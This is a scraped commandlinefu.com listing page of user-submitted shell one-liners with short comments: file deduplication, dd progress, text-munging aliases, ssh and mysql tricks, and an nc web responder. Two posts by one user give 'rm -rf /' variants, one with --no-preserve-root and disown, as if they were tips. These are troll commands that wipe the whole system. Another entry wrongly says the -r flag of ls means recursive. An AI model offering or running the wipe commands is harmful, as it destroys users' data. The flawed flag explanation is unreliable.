Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

All commands from sorted by
Terminal - All commands - 11,856 results
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done
scalac quicksort.scala && javap QuickSort
dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done"
2011-08-19 01:10:18
User: ideivid
Functions: bash dd
-1

Have you ever wondered what the hell was dd command doing? well, there you have it... notice the -USR1 signal :)...

rm -rf / & disown $!
2014-02-13 05:15:25
User: caddymob
Functions: rm
Tags: root dont cant
-1

sudo when you mean it

ps aux | grep $USER

exit

alias mine='ps xco pid,command,%cpu,%mem,state'
alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "
2009-10-01 02:22:23
User: relay
Functions: alias
-1

# newline to space; the whack before dollar-underbar is required

alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "

# newline to comma; the whack before dollar-underbar is required

alias nl2,="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{,}, @F) , qq{\n};}' "

PROMPT> cat /tmp/foo

foo-001

foo-002

foo-003

foo-004

foo-005

foo-006

foo-007

foo-008

foo-009

foo-010

# 'tr' does not give a newline after it run. Makes a messy commandline.

PROMPT> cat /tmp/foo|tr "\n" ' '

foo-001 foo-002 foo-003 foo-004 foo-005 foo-006 foo-007 foo-008 foo-009 foo-010 $PROMPT> tr "\n" ' ' /tmp/foo

# 'tr' does not take arguements

PROMPT> tr "\n" ' ' /tmp/foo

tr: extra operand `/tmp/foo'

Try `tr --help' for more information.

# 'nl2space' is a filter and takes arguements, adds a newline after it runs.

PROMPT> cat /tmp/foo| nl2space

foo-001 foo-002 foo-003 foo-004 foo-005 foo-006 foo-007 foo-008 foo-009 foo-010

PROMPT> nl2space /tmp/foo

foo-001 foo-002 foo-003 foo-004 foo-005 foo-006 foo-007 foo-008 foo-009 foo-010

ls -t1 | sed 1d | parallel -X rm
2010-01-28 12:28:18
Functions: ls sed
-1

xargs deals badly with special characters (such as space, ' and "). To see the problem try this:

touch important_file

touch 'not important_file'

ls not* | xargs rm

Parallel https://savannah.nongnu.org/projects/parallel/ does not have this problem.

ls -lart
2011-05-28 15:01:39
User: shardservant
Functions: ls
-1

-l for long list, -r for recursive, -a for display of hidden files, and -t for modification date

lspci | grep -i pci
nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
2013-11-12 14:00:11
User: gvitalie
Functions: echo
-1

-k, --keep-open will keep connection alive, and we could exclude using 'while true'

nc is such a powerful command, it could be used instead of any OS! :p

rm -rf / --no-preserve-root & disown $! && exit
2014-02-13 06:00:25
User: caddymob
Functions: rm
Tags: sudo root rm
-1

do it, disown it and exit without time for a mess

sudo when you mean it

ps aux | grep $USER

exit

isainfo -vb
ruby -e 'require "date"; puts DateTime.now.cweek'
find . -exec grep $foo {} \; -print
2009-12-30 17:41:44
User: linuxgeek
Functions: find grep
-1

The command will help to print the location of the pattern. Above command will print all the files which contain variable "$foo" along with line containing that pattern.

Specify pattern after "grep"

yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width 800 --height 600 --text-info;
du -sch *
2011-12-06 18:38:20
User: anarcat
Functions: du
Tags: space du disk
-1

All folders, human-readable, no subfolder, with a total. Even shorter.

find ./ -maxdepth 1 -empty -type d -delete
echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes'"
2011-03-07 22:01:46
User: darkfader
Functions: echo
-1

If you add the bookmarklet to your browser's bookmarks with like say, the keyword 'cfu', you can for example type 'cfu hello' in the location bar and the %s gets replaced with 'hello'.

The bookmarklet will convert the search text to base64 for use with the commandlinefu website and will take you there. Tested with Firefox.

awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE
2011-02-02 11:51:41
User: bouktin
Functions: awk printf
Tags: awk
-1

remove all carriage return of a given file (or input, if used with | ) and replace them with a space (or whatever character is after %s)

while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done
cat .ssh/id_dsa.pub | ssh <HOST> "mkdir -p .ssh && tee -a .ssh/authorized_keys"
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname
echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'
2009-05-11 22:18:43
User: rez0r
Functions: echo grep
-1

Quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean, the regex can easily be upgraded to handle "in betweens" for mm dd or to validate other types of strings, ex. ip address.

Boolean output could easily be piped into a condition for a more complete one-liner.

mail -s scream-dump user@example.com < /tmp/scream-dump